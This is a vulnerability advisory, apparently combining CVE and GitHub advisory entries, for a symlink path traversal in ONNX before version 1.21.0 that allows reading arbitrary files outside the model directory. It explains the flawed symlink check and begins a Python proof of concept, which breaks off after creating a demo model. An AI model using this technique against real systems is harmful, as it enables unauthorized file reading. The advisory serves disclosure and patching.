CVE-2026-27489 — ONNX: Path Traversal via Symlink

Affected: onnx, Red Hat OpenShift AI 2.25, Red Hat OpenShift AI (RHOAI)

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.

GHSA-3r9x-f23j-gc73 — onnx Vulnerable to Path Traversal via Symlink

Affected: PyPI: onnx

### Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

### Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

### PoC

```python # Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"): weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000]) Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000]) W = numpy_helper.from_array(weight_matrix, name="W")

matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

graph = helper.make_graph( nodes=[matmul_node], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] )

model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)]) onnx.checker.check_model(model)

data_file = output_path.replace('.onnx', '.data')…

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CVE-2026-27489 — ONNX: Path Traversal via Symlink

GHSA-3r9x-f23j-gc73 — onnx Vulnerable to Path Traversal via Symlink